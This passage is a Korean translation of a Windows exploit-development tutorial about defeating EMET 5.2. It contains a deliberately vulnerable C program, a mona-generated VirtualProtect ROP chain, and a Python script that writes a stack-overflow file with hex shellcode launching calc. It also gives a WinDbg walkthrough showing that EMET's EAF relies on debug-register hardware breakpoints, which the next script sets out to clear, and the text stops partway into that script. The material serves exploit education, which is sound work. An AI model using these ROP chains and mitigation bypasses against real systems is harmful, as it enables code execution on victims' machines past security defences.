티스토리 뷰

본 문서는 원문 저자인 Massimiliano Tomassoli의 허락 하에 번역이 되었으며, 원문과 관련된 모든 저작물에 대한 저작권은 원문 저자인 Massimiliano Tomassoli에 있음을 밝힙니다. 


http://expdev-kiuhnm.rhcloud.com



최신 윈도우즈 익스플로잇 개발 12. EMET 5.2


hackability.kr (김태범)

hackability_at_naver.com or ktb88_at_korea.ac.kr

2016.07.19



EMET는 Enhanced Mitigation Experience Toolkit 의 약자입니다. 이 글을 쓸 때 EMET의 최신 버전은 5.2 입니다.

 

여기서는 윈도우즈 7 서비스팩 1 64 비트에서 진행하겠습니다.



주의사항


EMET 5.2는 방화벽이나 안티바이러스 제품들과 충돌날 수 있습니다. 예를들어, 저는 EMET 가 왜 자꾸 익스플로잇 시도에 대해 탐지하는지 궁금해서 몇 시간동한 해맨적이 있습니다. 결국 Comodo 방화벽이랑 충돌나서 그런 것이였고 이를 지워야만 했습니다.

 

그래서 여기에서는 가상 머신을 이용하여 진행하였습니다.



방어 기법들


이름에서 유추할 수 있듯이 EMET는 익스플로잇의 영향에 대해 완화시켜줍니다. 아래는 이를 위한 방어 기법들에 대해 소개합니다.


1. Data Execution Prevention (DEP)

이는 실행 불가 영역으로된 메모리 위치에서 코드가 실행되는 것을 막습니다.


2. Structured Exception Handler Overwrite Protection (SEHOP)

이는 윈도우즈 SEH를 덮어 쓰는 것을 막습니다.


3. Null Page Protection (NullPage)

null 페이지를 미리 생성하여 악의인 익스플로잇이 사용되는 것을 막습니다.


4. Heap Spraying Protection (HeapSpray)

공격자들이 일반적으로 사용되는 메모리 영역을 미리 할당합니다.

(ex: 0x0a040a04, 0x0a0a0a0a, 0x0b0b0b0b, 0x0c0c0c0c, 0x0d0d0d0d, 0x0e0e0e0e, 0x04040404, 0x05050505, 0x06060606, 0x07070707, 0x08080808, 0x09090909, 0x20202020, 0x14141414)


5. Export Address Table Access Filtering (EAF)

호출 코드를 기반으로 Export Address Table에 접근하는 것을 통제합니다.


6. Export Address Table Access Filtering Plus (EAF+)

메모리 충돌 취약점 익스플로잇이 일반적으로 사용되는 모듈로 export 또는 import table 주소를 읽는 것을 막습니다.


7. Mandatory Address Space Layout Randomization (MandatoryASLR)

메모리에 올라가는 모듈의 주소를 무작위하게 함으로써 공격자로 하여금 메모리 주소를 결정할 수 없도록 합니다.


8. Bottom-up Address Space Layout Randomization (BottomUpASLR)

반대로 뒤집혀 할당된 기본 주소를 무작위하게 하여 MandatoryASLR 을 개선시켰습니다.


9. Load Library Protection (LoadLib)

ROP (Return Oriented Programming) 공격에서 일반적으로 사용되는 UNC 경로들의 모듈들이 불려지는 것은 막습니다.


10. Memory Protection (MemProt)

ROP (Return Oriented Programming) 공격에서 일반적으로 사용되는 스택 실행 권한 주기를 막습니다.


11. ROP Caller Check (Caller)

ROP (Return Oriented Programming) 공격에서 일반적으로 사용되는 RET 명령으로 주요 함수를 호출하는 것에 대해 막습니다.


12. ROP Simulate Execution Flow (SimExecFlow)

ROP (Return Oriented Programming) 공격을 탐지하기 위해 주소 반환후에 실행 흐름을 다시 만듭니다.


13. Stack Pivot (StackPivot)

ROP (Return Oriented Programming) 공격에서 일반적으로 사용되는 스택 포인터를 공격자가 조작 가능한 메모리 포인터로 바꾸는 것에 대해 탐지합니다.


14. Attack Surface Reduction (ASR)

보호된 프로세스의 주소 공간에 정의된 모듈리 불려지는 것을 막습니다.



보호 기법들이 무섭지 않나요? 하지만 시작전부터 포기하지 마세요!



프로그램


EMET 를 분석하기 위해 간단한 C/C++ 프로그램을 사용해보도록 하겠습니다. 여기서는 조금수정된 exploitme3.cpp 를 재사용하도록 하겠습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <cstdio>
 
_declspec(noinline) int f() {
    char name[32];
    printf("Reading name from file...\n");
 
    FILE *= fopen("c:\\deleteme\\name.dat""rb");
    if (!f)
        return -1;
    fseek(f, 0L, SEEK_END);
    long bytes = ftell(f);
    fseek(f, 0L, SEEK_SET);
    fread(name, 1, bytes, f);
    name[bytes] = '\0';
    fclose(f);
 
    printf("Hi, %s!\n", name);
    return 0;
}
 
int main() {
    char moreStack[10000];
    for (int i = 0; i < sizeof(moreStack); ++i)
        moreStack[i] = i;
 
    return f();
}
cs


스택 변수 moreStack을 이용하여 스택 공간을 좀 더 넓혔습니다. 기억 하실점은 스택은 낮은 주소로 커지게 되는 반면에 fread는 높을 주소를 향해 써진다는 것 입니다. 이런 추가적인 스택 공간 없이는 fread가 스택의 끝에 닿게 되고 프로그램 충돌이 날 수 있습니다.

 

main for 반복문이 없다면 moreStack은 최적화가 되어 버립니다. 또한 함수 f inline 이라면 버퍼 name moreStack 이후에 할당이 됩니다. 이를 피하기 위해서 _declspec(noinline) 을 사용합니다.


전과 마찬가지로, 스택 쿠키를 비활성화 시키고 DEP는 그대로 둡니다.

  • Configuration Properties
    • C/C++
      • Code Generation
        • Security Check: Disable Security Check (/GS-)

DEP가 활성화 되어 있는지 확인합니다.

  • Configuration Properties
    • Linker
      • Advanced
        • Data Execution Prevention (DEP): Yes (/NXCOMPAT)


ASLR 고려할 점


이미 아시다시피 ASLR 을 상대하기 위해서는 정보 노출과 같은 것이 필요하며 다음 글들에서 설명할 Internet Explorer 10, 11 에서는 ASLR 이 활성화 되어 있는 상태에서 익스플로잇 개발을 할 것입니다. 하지만 지금은 ASLR은 무시하고 DEP ROP에 집중하도록 하겠습니다.

 

exploitme3 msvcr120.dll 라이브러리를 사용합니다. 하지만 매번 프로그램이 실행 될 때마다 라이브러리의 주소가 변경됩니다. 시스템 라이브러리를 이용하여 ROP chain을 만들 수도 있지만 이 역시 비슷합니다. 전에 Export Address Table에서 우리가 원하는 API 함수의 주소를 찾는 쉘코드를 만들었습니다. 만약 kernel32.dll ntdll.dll 에서 가져온 가젯의 주소들이 일정하다면 API 함수들의 주소 역시 일정할 것 입니다.

 

올바른 방법으로는 msvcr120.dll 에서 가젯을 가져오는 것 입니다. kernel32.dll ntdll.dll 의 기본 주소가 윈도우즈 재부팅 시에 변경되는 반면에 msvcr120.dll exploitme3 실행 시 주소가 변경됩니다.

 

이 두 행위들의 차이점은 kernel32.dll ntdll.dll exploitme3이 실행 될 때, 이미 메모리에 불려져 있는 반면에 msvcr120.dll 은 그렇지 않다는 것 입니다. 그래서 해결책으로 다음 프로그램을 만들어 실행하는 것 입니다.


1
2
3
4
5
6
7
8
9
10
#include <Windows.h>
#include <stdio.h>
#include <conio.h>
 
int main() {
    printf("msvcr120 = %p\n", GetModuleHandle(L"msvcr120"));
    printf("--- press any key ---\n");
    _getch();
    return 0;
}
cs


우리가 프로그램을 종료하지 않는 이상 msvcr120.dll 의 기본 주소는 변경되지 않습니다. exploitme3을 실행하면 윈도우즈는 메모리에 이미 불려진 msvcr120.dll을 보게 되고 exploitme3 의 주소 공간에 사상 (mapping) 시킬 것 입니다. 또한, msvcr120.dll은 항상 동일한 주소에 사상되는데 그 이유는 위치에 의존적인 코드 (position-dependent code)를 가지고 있어서 만약 위치가 변경되면 동작하지 않기 때문입니다.



초기 익스플로잇


EMET를 열고 Apps 버튼을 클릭합니다.



그리고 Add Application 을 클릭하여 exploitme3.exe 를 선택합니다.



이제 exploitme3 이 리스트에 추가된 것을 볼 수 있습니다.



먼저 EAF, LoadLib, MemProt, Caller, SimExecFlow, 그리고 StackPivot을 비활성화 시키고 시작해보도록 하겠습니다.



OK 를 눌러 설정을 확인합니다.

 

이제 WinDbg에서 exploitme3.exe를 불러 mona를 이용하여 VirtualProtect ROP chain 을 생성합니다.


.load pykd.pyd

!py mona rop -m msvcr120


mona에서 생성한 rop_chains.txt에 있는 ROP chain 은 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def create_rop_chain():
 
  # rop chain generated with mona.py - www.corelan.be
  rop_gadgets = [
    0x7053fc6f,  # POP EBP # RETN [MSVCR120.dll]
    0x7053fc6f,  # skip 4 bytes [MSVCR120.dll]
    0x704f00f6,  # POP EBX # RETN [MSVCR120.dll]
    0x00000201,  # 0x00000201-> ebx
    0x704b6580,  # POP EDX # RETN [MSVCR120.dll]
    0x00000040,  # 0x00000040-> edx
    0x7049f8cb,  # POP ECX # RETN [MSVCR120.dll]
    0x705658f2,  # &Writable location [MSVCR120.dll]
    0x7048f95c,  # POP EDI # RETN [MSVCR120.dll]
    0x7048f607,  # RETN (ROP NOP) [MSVCR120.dll]
    0x704eb436,  # POP ESI # RETN [MSVCR120.dll]
    0x70493a17,  # JMP [EAX] [MSVCR120.dll]
    0x7053b8fb,  # POP EAX # RETN [MSVCR120.dll]
    0x705651a4,  # ptr to &VirtualProtect() [IAT MSVCR120.dll]
    0x7053b7f9,  # PUSHAD # RETN [MSVCR120.dll]
    0x704b7e5d,  # ptr to 'call esp' [MSVCR120.dll]
  ]
  return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
cs


Exploitme3 (DEP)에서 어떻게 이 chain이 생성되는지 보았기 때문에 여기서는 다시 설명하지 않고 name.dat을 생성했던 스크립트도 필요에 따라 수정하여 사용하도록 하겠습니다. 아래는 초기 버전의 코드 입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import struct
 
# The signature of VirtualProtect is the following:
#   BOOL WINAPI VirtualProtect(
#     _In_   LPVOID lpAddress,
#     _In_   SIZE_T dwSize,
#     _In_   DWORD flNewProtect,
#     _Out_  PDWORD lpflOldProtect
#   );
 
# After PUSHAD is executed, the stack looks like this:
#   .
#   .
#   .
#   EDI (ptr to ROP NOP (RETN))
#   ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect))
#   EBP (ptr to POP (skips EAX on the stack))
#   ESP (lpAddress (automatic))
#   EBX (dwSize)
#   EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
#   ECX (lpOldProtect (ptr to writeable address))
#   EAX (address of ptr to VirtualProtect)
# lpAddress:
#   ptr to "call esp"
#   <shellcode>
 
msvcr120 = 0x73c60000
 
# Delta used to fix the addresses based on the new base address of msvcr120.dll.
md = msvcr120 - 0x70480000
 
 
def create_rop_chain(code_size):
    rop_gadgets = [
      md + 0x7053fc6f,  # POP EBP # RETN [MSVCR120.dll]
      md + 0x7053fc6f,  # skip 4 bytes [MSVCR120.dll]
      md + 0x704f00f6,  # POP EBX # RETN [MSVCR120.dll]
      code_size,        # code_size -> ebx
      md + 0x704b6580,  # POP EDX # RETN [MSVCR120.dll]
      0x00000040,       # 0x00000040-> edx
      md + 0x7049f8cb,  # POP ECX # RETN [MSVCR120.dll]
      md + 0x705658f2,  # &Writable location [MSVCR120.dll]
      md + 0x7048f95c,  # POP EDI # RETN [MSVCR120.dll]
      md + 0x7048f607,  # RETN (ROP NOP) [MSVCR120.dll]
      md + 0x704eb436,  # POP ESI # RETN [MSVCR120.dll]
      md + 0x70493a17,  # JMP [EAX] [MSVCR120.dll]
      md + 0x7053b8fb,  # POP EAX # RETN [MSVCR120.dll]
      md + 0x705651a4,  # ptr to &VirtualProtect() [IAT MSVCR120.dll]
      md + 0x7053b7f9,  # PUSHAD # RETN [MSVCR120.dll]
      md + 0x704b7e5d,  # ptr to 'call esp' [MSVCR120.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
 
 
def write_file(file_path):
    with open(file_path, 'wb') as f:
        ret_eip = md + 0x7048f607       # RETN (ROP NOP) [MSVCR120.dll]
        shellcode = (
            "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
            "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
            "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
            "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
            "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
            "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
            "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
            "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
            "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
            "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
            "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
            "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
            "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
            "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
            "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
            "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
            "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
            "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
            "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
            "\x30\x03\xc6\xeb\xdd")
        code_size = len(shellcode)
        name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(code_size) + shellcode
        f.write(name)
 
write_file(r'c:\deleteme\name.dat')
cs


변수 msvcr120 에 대해 정확한 값으로 넣어야 합니다. 전에 만들어서 구동시킨 프로그램에 의해 msvcr120.dll은 더이상 기본 주소가 변경되지 않고 또한 해당하는 현재 기본 주소도 알려줍니다.

 

이제 exploitme3.exe 를 실행하면 계산기가 뜰 것 입니다.



EAF


이제 exploitme3 EAF 보호기법을 활성화 시키고 다시 exploitme3을 실행합니다. 이번에는 EMET 에서 우리가 만든 익스플로잇을 탐지하고 exploitme3을 끕니다. 공식문서에 EAF는 다음과 같이 설명되어 있습니다.


regulates access to the Export Address Table (EAT) based on the calling code


exploitme3.exe 디버깅 전에 디버깅 정보를 가지고 있는 exploitme3.pdb exploitme3.exe와 동일한 폴더에 있는지 확인해주시기 바랍니다.

 

WinDbg (Ctrl+E)에서 exploitme3을 열고 main breakpoint를 걸어둡니다.


bp exploitme3!main


F5 (go)를 누르면 이상한 예외를 얻게 됩니다.


(f74.c20): Single step exception - code 80000004 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=000bff98 ebx=76462a38 ecx=00000154 edx=763a0000 esi=7645ff70 edi=764614e8

eip=76ec01ae esp=003ef214 ebp=003ef290 iopl=0         nv up ei ng nz na pe cy

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000287

ntdll!LdrpSnapThunk+0x1c1:

76ec01ae 03c2            add     eax,edx


코드는 다음과 같습니다.


76ec018e ff7618          push    dword ptr [esi+18h]

76ec0191 ff75e0          push    dword ptr [ebp-20h]

76ec0194 e819020000      call    ntdll!LdrpNameToOrdinal (76ec03b2)

76ec0199 8b55d8          mov     edx,dword ptr [ebp-28h]

76ec019c 0fb7c0          movzx   eax,ax

76ec019f 0fb7c8          movzx   ecx,ax

76ec01a2 3b4e14          cmp     ecx,dword ptr [esi+14h]

76ec01a5 0f83b6f60000    jae     ntdll!LdrpSnapThunk+0x12b (76ecf861)

76ec01ab 8b461c          mov     eax,dword ptr [esi+1Ch]   <---------------- this generated the exception

76ec01ae 03c2            add     eax,edx       <--------------------- we're here!

76ec01b0 8d0c88          lea     ecx,[eax+ecx*4]

76ec01b3 8b01            mov     eax,dword ptr [ecx]

76ec01b5 03c2            add     eax,edx

76ec01b7 8b7d14          mov     edi,dword ptr [ebp+14h]

76ec01ba 8907            mov     dword ptr [edi],eax

76ec01bc 3bc6            cmp     eax,esi

76ec01be 0f87ca990000    ja      ntdll!LdrpSnapThunk+0x1d7 (76ec9b8e)

76ec01c4 833900          cmp     dword ptr [ecx],0


Single step exception은 디버깅 예외 입니다. 이를보아 이 예외는 코드의 바로 전줄에서 발생되었습니다.


76ec01ab 8b461c          mov     eax,dword ptr [esi+1Ch]   <---------------- this generated the exception


esi 가 어떤것을 가리키고 있는지 확인해보겠습니다.


0:000> ln @esi

(7645ff70)   kernel32!$$VProc_ImageExportDirectory   |  (76480000)   kernel32!BasepAllowResourceConversion

Exact matches:

    kernel32!$$VProc_ImageExportDirectory = <no type information>


esi kernel32 EAT를 가리키고 있습니다! 이를 통해 esi가 정말 EAT를 가리키고 있음을 확인했습니다


0:000> !dh kernel32


File Type: DLL

FILE HEADER VALUES

     14C machine (i386)

       4 number of sections

53159A85 time date stamp Tue Mar 04 10:19:01 2014


       0 file pointer to symbol table

       0 number of symbols

      E0 size of optional header

    2102 characteristics

            Executable

            32 bit word machine

            DLL


OPTIONAL HEADER VALUES

     10B magic #

    9.00 linker version

   D0000 size of code

   30000 size of initialized data

       0 size of uninitialized data

   13293 address of entry point

   10000 base of code

         ----- new -----

763a0000 image base

   10000 section alignment

   10000 file alignment

       3 subsystem (Windows CUI)

    6.01 operating system version

    6.01 image version

    6.01 subsystem version

  110000 size of image

   10000 size of headers

  1105AE checksum

00040000 size of stack reserve

00001000 size of stack commit

00100000 size of heap reserve

00001000 size of heap commit

     140  DLL characteristics

            Dynamic base

            NX compatible

   BFF70 [    A9B1] address [size] of Export Directory      <----------------------------------

   CA924 [     1F4] address [size] of Import Directory

   F0000 [     528] address [size] of Resource Directory

       0 [       0] address [size] of Exception Directory

       0 [       0] address [size] of Security Directory

  100000 [    AD9C] address [size] of Base Relocation Directory

   D0734 [      38] address [size] of Debug Directory

       0 [       0] address [size] of Description Directory

       0 [       0] address [size] of Special Directory

       0 [       0] address [size] of Thread Storage Directory

   83510 [      40] address [size] of Load Configuration Directory

       0 [       0] address [size] of Bound Import Directory

   10000 [     DF0] address [size] of Import Address Table Directory

       0 [       0] address [size] of Delay Import Directory

       0 [       0] address [size] of COR20 Header Directory

       0 [       0] address [size] of Reserved Directory



SECTION HEADER #1

   .text name

   C0796 virtual size

   10000 virtual address

   D0000 size of raw data

   10000 file pointer to raw data

       0 file pointer to relocation table

       0 file pointer to line numbers

       0 number of relocations

       0 number of line numbers

60000020 flags

         Code

         (no align specified)

         Execute Read



Debug Directories(2)

  Type       Size     Address  Pointer

  cv           26       d0770    d0770    Format: RSDS, guid, 2, wkernel32.pdb

  (    10)       4       d076c    d076c


SECTION HEADER #2

   .data name

    100C virtual size

   E0000 virtual address

   10000 size of raw data

   E0000 file pointer to raw data

       0 file pointer to relocation table

       0 file pointer to line numbers

       0 number of relocations

       0 number of line numbers

C0000040 flags

         Initialized Data

         (no align specified)

         Read Write


SECTION HEADER #3

   .rsrc name

     528 virtual size

   F0000 virtual address

   10000 size of raw data

   F0000 file pointer to raw data

       0 file pointer to relocation table

       0 file pointer to line numbers

       0 number of relocations

       0 number of line numbers

40000040 flags

         Initialized Data

         (no align specified)

         Read Only


SECTION HEADER #4

  .reloc name

    AD9C virtual size

  100000 virtual address

   10000 size of raw data

  100000 file pointer to raw data

       0 file pointer to relocation table

       0 file pointer to line numbers

       0 number of relocations

       0 number of line numbers

42000040 flags

         Initialized Data

         Discardable

         (no align specified)

         Read Only


esi가 정말 EAT를 가리킴을 볼 수 있습니다.


0:000> ? @esi == kernel32 + bff70

Evaluate expression: 1 = 00000001            (1 means True)


예외를 발생시킨 명령은 EAT의 오프셋 0x1c에 접근하였습니다. winnt.h 파일을 이용하여 해당 오프셋에 무엇이 있는지 보도록 하겠습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;          // 0
    DWORD   TimeDateStamp;            // 4
    WORD    MajorVersion;             // 8
    WORD    MinorVersion;             // 0xa
    DWORD   Name;                     // 0xc
    DWORD   Base;                     // 0x10
    DWORD   NumberOfFunctions;        // 0x14
    DWORD   NumberOfNames;            // 0x18    
    DWORD   AddressOfFunctions;       // 0x1c   <----------------------
    DWORD   AddressOfNames;           // 0x20
    DWORD   AddressOfNameOrdinals;    // 0x24
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
cs


쉘코드 장에서 우리는 노출된 함수들의 RAV들을 포함하고 있는 배열의 RVA AddressOfFunctions 임을 보았습니다.

 

스택 트레이스를 보면 현재 GetProcAddress 함수에 있음을 알 수 있습니다.


0:000> k 10

ChildEBP RetAddr  

003ef290 76ec032a ntdll!LdrpSnapThunk+0x1c1

003ef34c 76ec0202 ntdll!LdrGetProcedureAddressEx+0x1ca

003ef368 76261e59 ntdll!LdrGetProcedureAddress+0x18

003ef390 73c8d45e KERNELBASE!GetProcAddress+0x44      <------------------------

003ef3a4 73c8ca0d MSVCR120!__crtLoadWinApiPointers+0x1d [f:\dd\vctools\crt\crtw32\misc\winapisupp.c @ 752]

003ef3a8 73c8ca91 MSVCR120!_mtinit+0x5 [f:\dd\vctools\crt\crtw32\startup\tidtable.c @ 97]

003ef3d8 73c71a5f MSVCR120!__CRTDLL_INIT+0x2f [f:\dd\vctools\crt\crtw32\dllstuff\crtlib.c @ 235]

003ef3ec 76ec99a0 MSVCR120!_CRTDLL_INIT+0x1c [f:\dd\vctools\crt\crtw32\dllstuff\crtlib.c @ 214]

003ef40c 76ecd939 ntdll!LdrpCallInitRoutine+0x14

003ef500 76ed686c ntdll!LdrpRunInitializeRoutines+0x26f

003ef680 76ed5326 ntdll!LdrpInitializeProcess+0x1400

003ef6d0 76ec9ef9 ntdll!_LdrpInitialize+0x78

003ef6e0 00000000 ntdll!LdrInitializeThunk+0x10


이런 예외를 본건 처음이긴 하지만 EMET 인게 분명합니다. 보아하니 EMET EAF는 몇몇 EAT AddressOfFunctions 필드에 접근을 가로채는 것 같습니다. 누가? 어떻게?

 

WinDbg에서 ba (hardware breakpoint)를 이용하여 비슷한 것을 할 수 있습니다. 따라서 EMET 역시 동일한 방법을 썻을 것입니다. 디버그 레지스터를 보도록 합시다.


0:000> rM 20

dr0=76ea0204 dr1=7645ff8c dr2=7628b85c

dr3=00000000 dr6=ffff0ff2 dr7=0fff0115

ntdll!LdrpSnapThunk+0x1c1:

76ec01ae 03c2            add     eax,edx


(명령어를 잘 모르신다면 .hh 를 이용하시기 바랍니다)

 

dr1에 있는 값은 익숙해 보입니다.


0:000> ? @dr1 == esi+1c

Evaluate expression: 1 = 00000001


이거군요!! 완벽합니다!!



디버그 레지스터들


솔직히 얘기하자면 디버그 레지스터의 종류에 대해 배울 필요가 없습니다. 여기서 우리의 경우에는 dr0, dr1, dr2 hardware breakpoints 의 주소가 있는게 분명하니까요. 이들이 어디를 가리키고 있는지 한 번 보도록 합시다.


0:000> ln dr0

(76ea01e8)   ntdll!$$VProc_ImageExportDirectory+0x1c   |  (76eaf8a0)   ntdll!NtMapUserPhysicalPagesScatter

0:000> ln dr1

(7645ff70)   kernel32!$$VProc_ImageExportDirectory+0x1c   |  (76480000)   kernel32!BasepAllowResourceConversion

0:000> ln dr2

(76288cb0)   KERNELBASE!_NULL_IMPORT_DESCRIPTOR+0x2bac   |  (76291000)   KERNELBASE!KernelBaseGlobalData


처음 두 개는 ntdll kernel32 EAT를 가리키고 있지만 세 번째는 좀 달라보입니다. 살펴보면,


0:000> !dh kernelbase


File Type: DLL

FILE HEADER VALUES

     14C machine (i386)

       4 number of sections

53159A86 time date stamp Tue Mar 04 10:19:02 2014


       0 file pointer to symbol table

       0 number of symbols

      E0 size of optional header

    2102 characteristics

            Executable

            32 bit word machine

            DLL


OPTIONAL HEADER VALUES

     10B magic #

    9.00 linker version

   3F800 size of code

    4400 size of initialized data

       0 size of uninitialized data

    74C1 address of entry point

    1000 base of code

         ----- new -----

76250000 image base

    1000 section alignment

     200 file alignment

       3 subsystem (Windows CUI)

    6.01 operating system version

    6.01 image version

    6.01 subsystem version

   47000 size of image

     400 size of headers

   49E52 checksum

00040000 size of stack reserve

00001000 size of stack commit

00100000 size of heap reserve

00001000 size of heap commit

     140  DLL characteristics

            Dynamic base

            NX compatible

   3B840 [    4F19] address [size] of Export Directory        <-------------------------

   38C9C [      28] address [size] of Import Directory

   43000 [     530] address [size] of Resource Directory

       0 [       0] address [size] of Exception Directory

       0 [       0] address [size] of Security Directory

   44000 [    25F0] address [size] of Base Relocation Directory

    1660 [      1C] address [size] of Debug Directory

       0 [       0] address [size] of Description Directory

       0 [       0] address [size] of Special Directory

       0 [       0] address [size] of Thread Storage Directory

    69D0 [      40] address [size] of Load Configuration Directory

       0 [       0] address [size] of Bound Import Directory

    1000 [     654] address [size] of Import Address Table Directory

       0 [       0] address [size] of Delay Import Directory

       0 [       0] address [size] of COR20 Header Directory

       0 [       0] address [size] of Reserved Directory



SECTION HEADER #1

   .text name

   3F759 virtual size

    1000 virtual address

   3F800 size of raw data

     400 file pointer to raw data

       0 file pointer to relocation table

       0 file pointer to line numbers

       0 number of relocations

       0 number of line numbers

60000020 flags

         Code

         (no align specified)

         Execute Read



Debug Directories(1)

  Type       Size     Address  Pointer

  cv           28        6a18     5e18    Format: RSDS, guid, 1, wkernelbase.pdb


SECTION HEADER #2

   .data name

    11E8 virtual size

   41000 virtual address

     400 size of raw data

   3FC00 file pointer to raw data

       0 file pointer to relocation table

       0 file pointer to line numbers

       0 number of relocations

       0 number of line numbers

C0000040 flags

         Initialized Data

         (no align specified)

         Read Write


SECTION HEADER #3

   .rsrc name

     530 virtual size

   43000 virtual address

     600 size of raw data

   40000 file pointer to raw data

       0 file pointer to relocation table

       0 file pointer to line numbers

       0 number of relocations

       0 number of line numbers

40000040 flags

         Initialized Data

         (no align specified)

         Read Only


SECTION HEADER #4

  .reloc name

    2A18 virtual size

   44000 virtual address

    2C00 size of raw data

   40600 file pointer to raw data

       0 file pointer to relocation table

       0 file pointer to line numbers

       0 number of relocations

       0 number of line numbers

42000040 flags

         Initialized Data

         Discardable

         (no align specified)

         Read Only

0:000> ? kernelbase+3B840+1c

Evaluate expression: 1982380124 = 7628b85c    <----------------------

0:000> ? @dr2

Evaluate expression: 1982380124 = 7628b85c    <----------------------


아닙니다. dr2 KERNELBASE EAT 를 가리키고 있습니다!

 

어쨋든, 궁금하니깐 인텔 설명서 (3B)를 보도록 하죠. 디버그 레지스터의 구성은 다음과 같습니다.



보시면 명확하게 레지스터 DR0, DR1, DR2, 그리고 DR3 breakpoints의 주소들을 명시함을 알 수 있습니다. 레지스터 DR6은 마지막 디버그 예외에 대한 정보를 제공하는 상태 레지스터인 반면에 DR7 4개의 breakpoints 들에 대한 설정을 담고 있습니다. 해당 명세에 대해 더 궁금하신 분은 인텔 설명서를 보시기 바랍니다.

 

우리가 알아야 하는 것은 디버그 레지스터들을 초기화 하여 breakpoints를 비활성화 시키는 것입니다. WinDbg에서 exploitme3.exe를 불러오고 EMET 가 디버그 레지스터들을 수정하기 전에 보면 다음과 같습니다.


0:000> rM 20

dr0=00000000 dr1=00000000 dr2=00000000

dr3=00000000 dr6=00000000 dr7=00000000

ntdll!LdrpDoDebuggerBreak+0x2c:

76f3103b cc              int     3



디버그 레지스터들 초기화(1)


쉘코드 앞단에 디버그 레지스터 초기화 코드를 넣어 쉘코드가 EAT에 무사히 접근할 수 있도록 해봅시다.

 

기계어를 생성하기 위해 Visual Studio에서 어셈 코드를 작성하고 프로그램 디버그를 한 뒤, Go to the Disassembly 를 합니다. 디스어셈블리 영역에서 코드를 복사하여 파이썬 스크립트쪽으로 가져옵니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
import struct
 
# The signature of VirtualProtect is the following:
#   BOOL WINAPI VirtualProtect(
#     _In_   LPVOID lpAddress,
#     _In_   SIZE_T dwSize,
#     _In_   DWORD flNewProtect,
#     _Out_  PDWORD lpflOldProtect
#   );
 
# After PUSHAD is executed, the stack looks like this:
#   .
#   .
#   .
#   EDI (ptr to ROP NOP (RETN))
#   ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect))
#   EBP (ptr to POP (skips EAX on the stack))
#   ESP (lpAddress (automatic))
#   EBX (dwSize)
#   EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
#   ECX (lpOldProtect (ptr to writeable address))
#   EAX (address of ptr to VirtualProtect)
# lpAddress:
#   ptr to "call esp"
#   <shellcode>
 
msvcr120 = 0x73c60000
 
# Delta used to fix the addresses based on the new base address of msvcr120.dll.
md = msvcr120 - 0x70480000
 
 
def create_rop_chain(code_size):
    rop_gadgets = [
      md + 0x7053fc6f,  # POP EBP # RETN [MSVCR120.dll]
      md + 0x7053fc6f,  # skip 4 bytes [MSVCR120.dll]
